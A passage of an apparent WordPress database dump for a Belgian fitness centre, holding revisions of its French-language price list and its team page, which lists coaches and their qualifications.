title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:41:07', '2014-02-09 20:41:07', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(436, 1, '2014-02-17 17:59:59', '2014-02-17 17:59:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n\r\n\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 17:59:59', '2014-02-17 17:59:59', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(435, 1, '2014-02-17 17:57:25', '2014-02-17 17:57:25', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n        &lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-02-17 17:57:25', '2014-02-17 17:57:25', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
